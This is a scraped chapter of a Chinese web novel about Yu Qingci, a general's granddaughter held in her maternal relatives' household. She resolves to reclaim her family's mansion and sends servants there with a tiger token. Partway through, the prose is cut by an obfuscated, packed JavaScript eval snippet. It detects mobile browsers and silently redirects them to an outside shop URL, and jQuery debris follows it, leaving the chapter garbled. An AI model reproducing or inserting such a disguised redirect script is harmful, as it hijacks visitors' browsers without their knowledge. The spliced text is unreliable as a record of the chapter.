默认冷灰
24号文字
方正启体

18. Chapetr 18

作者:误题纪本书字数:K更新时间:
    喻清词没有去正厅,而是直接带着茯苓和芍药往自己的院子走去。


    廊下的风似乎更凉了些,喻清词仅仅穿了件薄薄的襦裙,不禁被激起一阵寒意。


    目光看向正厅的方向,那边依旧灯火通明,时不时还传来阵阵笑声。


    父母兄长皆在边疆苦寒之地浴血抗敌,而她却被独自留在京城这锦绣牢笼里,虽然许府将她接到府中,美名其曰怜她孤弱,可事实上呢?


    她进府之时,外祖父外祖母已经不在府中,而她在许府这些日子,所有照顾均是按照庶小姐的要求,没有人将她看做大房的嫡小姐…


    喻清词心里不禁冷笑,不仅如此,将她独自留下,不过是慈宁宫那一位对拥兵在外的喻家不放心,需要一个“质子”罢了。


    回到秋斓院,她一进内室,暖意便扑面而来,驱散了从外面带来的寒气。


    茯苓细心,在前往府门之前,便早已将炭火烧得旺旺的,还特意在熏笼里添了她平日喜欢的冷檀香,清冽微甘的气息,稍稍抚平了她今日复杂的心情。


    茯苓手脚麻利地替她解下披风,而芍药则担心姑娘今日没怎么进食,小跑去小厨房将一直温着的饭菜端来。


    喻清词轻轻走到窗边的榻上坐下,并未立刻动筷,只望着跳动的灯焰出神。


    茯苓与芍药对视一眼,皆是默默侍立一旁,不敢出声打扰。


    她们是自幼跟着姑娘的,所以知晓自家姑娘对家人的期待与不舍,她们现在还记得当时突然得到太后的懿旨让喻老将军将唯一的孙女从边疆送回京城,姑娘那时才刚会走路不久,就被嬷嬷强制抱着上马车离开家人。


    半晌,喻清词才轻轻开口,手指轻轻揉着自己的鼻梁,声音带着一丝不易察觉的疲惫:“不太饿,拿下去吧。”


    芍药给茯苓一个眼神后,随后恭敬的将桌上的膳食拿了下去。


    茯苓为喻清词倒了一杯清茶,轻轻放在她手边:“小姐,您怎么啦?”


    喻清词摇了摇头:“没什么,在想之后的路该怎么走。”


    在许府,她就如同一个格格不入的客人,虽然被安置在这精致的秋斓院里,也看似受着照顾,但实则无时无刻都受着无形的拘束。


    在她来之前,外祖父外祖母被秦吏与许二夫人许之芳以“静养”之名,突然送到江南别院,故而一直以来整个许府就没有为她撑腰之人。


    然而其他人,按照庶女份例供给的用度,下人表面恭敬实则疏离的态度,对于现在内核的她是无所谓,但对于之前的原主,这些做法无时无刻不在提醒她“质子”的身份,无时无刻都会影响她,让她认为自己是被放弃的,这也一方面伤害了她。


    喻清词轻轻叹气…


    心理受伤比身体伤害更会摧毁一个人的意志。


    父亲、母亲,还有兄长,也不知道此刻在边关是何光景?


    塞外的风,想必比这廊下的更刺骨百倍吧?


    没有暖融融的炭火,没有精致的点心,只有凛冽的风沙和随时到来的刀光剑影。


    喻清词看了看自己住的秋斓院,被困在这温柔富贵乡里,享受着喻家兵权和家人远离换来的、看似安稳实则令人窒息的生活。


    “茯苓。”


    喻清词突然唤道。


    茯苓连忙走到她身边,眼中带着疑惑。


    喻清词认真的看着她,开口:“喻府的宅邸,现在还有人照看吗?”


    茯苓愣了一下,略带吃惊的看向自己的小姐,看着她一脸严肃,便开口:“回小姐,喻府的宅子原来一直是老管家带着几位老爷的亲信守着的,只是…自从您搬到许府后,一直担心回喻府会让秦大人和许二夫人不满,便不曾回去过,几位老伯也被您遣散,如今怕是荒凉不少。”


    喻清词闻言轻轻点头,原主本就是柔软的性子,虽然许府是自己母亲的家,可是她骨子里的性格让她害怕麻烦别人,又担心自己回喻府会让许府众人认为自己是白眼狼,产生对母亲的不满!


    想着眼中闪过狠厉,指尖敲着木桌,规律的发出响声:“明日一早,你回去喻府一趟,看看现在是何光景。”


    “小姐…您这是?”


    茯苓疑惑的看向自家小姐。


    只见喻清词起身轻轻打开木窗,驻足在窗户,看着外面的月色皎洁。


    良久…


    她缓缓开口:“许府再好,可终究不是我的家。”


    茯苓心头微微颤动,她听出小姐语气中的遗憾与坚定,曾经她也劝过小姐回喻府看看,可是小姐总是犹豫,担心会让许府众人对自己不满…


    可如今的小姐,自己提出喻府,那便是不同的心境了!


    喻清词见茯苓没有回话,疑惑的看了她一眼,以为是担心自己的身份,便轻松似的开口:“茯苓放心吧,慈宁宫那位只是要我留在京城做''质子'',那我便安安分分地待在京城便好,可住在哪里,总归是我的自由吧。”


    茯苓见小姐安慰自己,连忙轻笑:“我只是在感叹小姐变化很大,曾经我和芍药也提过回喻府看一看,可是小姐总是…”


    茯苓欲言又止,喻清词清楚她的内心,无奈笑了笑:“可以说是突然想通了?毕竟许府这上上下下,从没有将我当做正经主子。既然如此,我何必在这里碍他们的眼,也碍自己的心?”


    茯苓点头,她明白自家小姐的想法,但是还是略带担心的开口:“可是您突然独自搬回喻府,不说太后那边,就是许府的…”


    “所以!”


    喻清词淡淡开口:“必须要找到一个契机,让许府众人,包括外祖父外祖母,都没办法找任何理由拦我!”


    茯苓想了想,仍有担忧道:“喻府多年无人,并且听说有些无赖的乞丐将其当做留宿之所,如今怕是…”


    喻清词笑着看向她,眼中闪着点点期待的光芒,温柔是开口:“茯苓,不一样的。”


    “再破败,再被占用,那也是我的家。”


    喻清词笑着看向窗外,仿佛可以看到曾经一家人在一起的时光,心中泛起丝丝的暖意:“那个宅子,有祖父祖母喜爱散步的小道,有父亲母亲居住过的院子,有兄长们习武的校场,包含了喻家几代人的记忆,即使未来他们可能回不来京城,但是…”


    “我要守住我们的家。”


    她缓缓走到自己的梳妆台,凭借着记忆,从最底端拿出一个紫檀木的盒子,上面雕刻着繁杂的花纹,一眼看过去就能看出来绝非凡品。


    “鸦青。”


    话音刚落,鸦青轻巧的从窗口跳入房中,恭敬单膝点地。


    喻清词轻轻打开木盒子,只见里面安静的躺着一枚白虎令牌——这不仅仅喻府嫡系身份的象征,还是将军府兵权的象征,是喻老将军在临行前给她的。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983820|193398||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“鸦青,明天你陪茯苓去一趟喻府,看看是否有亲信之人还在府中,若有把这个给他,告诉他静候我的吩咐。”喻清词将令牌交给茯苓。


    “若府中已无亲信之人呢?”


    茯苓恭敬接过,感受到令牌玉质的温润,一旁的鸦青与她对视一眼,随后郑重询问道。


    喻清词看着镜子的自己,轻轻挑了挑眉,缓缓道:“若府中无亲信之人?”


    “那就创造我的亲信之人。”


    夜深人静,秋斓院内阁依旧灯火通明。


    喻清词躺在床上毫无睡意,最终她还是披上外套起身,坐到了临窗的案几旁,铺开宣纸,砚墨提笔。


    微弱的烛光下,喻清词单薄的身影显得坚韧而孤寂,她正在临摹原主写给远在边疆家人的信,因为007曾经告诉过她,喻府书信看似平常,但其中几个字的写法,是用了只有喻家军中亲信才懂的细微变化——这是父母早年教她的,以防万一,她这个冒牌货也必须会这个写法,她不允许有任何意外的出现阻止她。


    不仅如此,喻清词还清楚的知道,她需要有自己的眼睛和耳朵。


    在这个暗流涌动的天玺,007这个系统无法随意干涉剧情发展,而白鹤眠也没办法随时随地在她身边。


    严格来说,她就是孤身一人在京城,所以她必须尽快建立起自己的信息渠道,不能对外界之事几乎一无所知…


    —


    次日


    喻清词特地迟了一些到达正室花厅,就在快走到正门之时,她突然在棱形窗旁的阴影之处站定,安静的听着屋内的动静。


    正厅的喧闹声隐隐约约的传来,还夹杂着秦凝笑声和二夫人许之芳的应和。


    “外祖母~你看看凝儿今天的裙子好不好看呀!”


    “好看好看!我们凝儿穿什么都好看!”


    “母亲!你就宠着她。”


    “外祖父,喻清词怎么还不来!让我们一大家子等她一个吗?”


    就在喻清词准备抬脚走进花厅之时,秦凝的声音再度响起。


    茯苓和芍药看着自家小姐抬起的脚再度放下,两人只能安静的站在喻清词身后,都不由自主的看向对方。


    花厅内秦凝还在说着:“外祖父!她身为晚辈还让长辈等她,不知道天高地厚!”


    “凝儿,不许无理!清词可能是昨日回来玩了,身子太累,让她多休息一会,更何况清词还是喻府千金…”


    “好了!去派人喊她!”


    外祖父威严的声音传出来,语气中带着一丝不满。


    门口的喻清词目光轻轻扫了一眼棱形窗内的众人,抬脚走进,启唇淡淡道:“外祖父,清词来了。”


    众人目光都看向从门外走进的喻清词,她今日穿着淡紫色的裙衫,精巧的花纹轻轻晃动着,目光扫过花厅众人,还与一直不曾说话的尚雅涵微微点头。


    秦凝率先道:“喻清词,你也不看看现在什么时辰了?竟然让外祖父外祖母等你吃早膳?”


    喻清词并没有直接回应,只是目光淡淡的看了一眼脸色不善的秦凝,随后移开了目光,仿佛她是无关紧要之人。


    最终目光看向主位的外祖父外祖母。


    “清词来迟,给外祖父外祖母赔罪。”


    喻老爷子眉头皱起,看了看她单薄的身影,轻叹道:“罢了,先起来用膳吧。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)